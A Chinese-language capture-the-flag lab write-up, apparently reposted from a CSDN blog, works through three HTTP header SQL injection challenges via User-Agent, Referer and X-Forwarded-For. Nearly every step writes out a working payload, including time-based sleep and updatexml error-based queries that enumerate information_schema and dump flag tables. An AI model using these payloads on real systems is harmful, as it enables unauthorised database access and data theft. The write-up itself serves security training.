Head注入(USERANGENT、Referer、X-forword-for)

Head注入

靶场地址
原理:
head注入就是通过burp抓包,修改它的请求头useagent的数据来和数据库进行交互查询数据

第一题:

我们先查看url栏,没有get传参

再尝试post传参
在usename栏输入代码

' or 1=1 #

在这里插入图片描述发现usename不行查看源代码,可以通过password传参
在这里插入图片描述接着我们尝试头注入,查看源代码,发*现它使用了超全局变量$uagent = $_SERVER[‘HTTP_USER_AGENT’];并且它有个if语句必须要登陆才可以插入usergent语句,我们已经通过password找到了账号密码,并且登陆成功,所以直接用admin 和123456
在这里插入图片描述在这里插入图片描述利用谷歌插件,进行请求头修改

'or sleep(5),1)#

发现网页有明显的延迟,判断正确。
于是我们利用updatemlx()进行报错获取数据库名

'or updatexml(1,concat(0x7e,(select database())),1),1)#

获得数据库名:head_error
在这里插入图片描述再继续查表名,输入代码

'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where TABLE_SCHEMA='head_error')),1),1)#

在这里插入图片描述查出表名
flag_head
ip
refer
uagent
user

再查字段,把下面代码输入到谷歌插件中

'or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where TABLE_NAME='flag_head')),1),1) #

在这里插入图片描述得出所有字段名:
id
flag_h1
于是直接用最后输入sql语句代码

'or updatexml(1,concat(0x7e,(select group_concat(flag_h1) from flag_head)),1),1) #

在这里插入图片描述所有flag为
zKaQ-YourHd,zKaQ-Refer,zKaQ-ip
验证为第一个

第一题完

第二题:

和第一题类似
首先找到登陆账号密码
在这里插入图片描述我们利用updatemlx()进行报错获取数据库名

'or updatexml(1,concat(0x7e,(select database())),1),1)#

然后直接用burp抓包修改refer,输入代码

'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where TABLE_SCHEMA='head_error')),1),1)#

在这里插入图片描述查询数据为
在这里插入图片描述得到所有表名
接着查列名

'or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where TABLE_NAME='flag_head')),1),1) #

在这里插入图片描述得到列名中有flag
直接继续查数据

'or updatexml(1,concat(0x7e,(select group_concat(flag_h1) from flag_head)),1),1) #

在这里插入图片描述得到所有flag
在这里插入图片描述第二题和第一题区别就是一个修改useragent 一个修改refer

第二题完

第三题:

查看源代码
在这里插入图片描述在这里插入图片描述它这里替换的是ip
所以我们直接修改ip进行传参即可,我们用谷歌插件,X-Forwarded-For进行传参

在这里插入图片描述输入代码

'or updatexml(1,concat(0x7e,(select database())),1),1) #

在这里插入图片描述得到数据库名
我们继续查表名:
输入代码

'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where TABLE_SCHEMA='head_error')),1),1)#

在这里插入图片描述得到所有表名
接着查列名

'or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where TABLE_NAME='flag_head')),1),1) #

在这里插入图片描述得到列名中有flag
直接继续查数据

'or updatexml(1,concat(0x7e,(select group_concat(flag_h1) from flag_head)),1),1) #

在这里插入图片描述但是最后一个flag并不是zKaQ-ipi,可能是长度不够,重新输入代码

'or updatexml(1,concat(0x7e,(select flag_h1 from flag_head limit 2,1)),1),1) #

在这里插入图片描述
验证即,正确

第三题完

猜你喜欢

转载自blog.csdn.net/weixin_43264067/article/details/106055766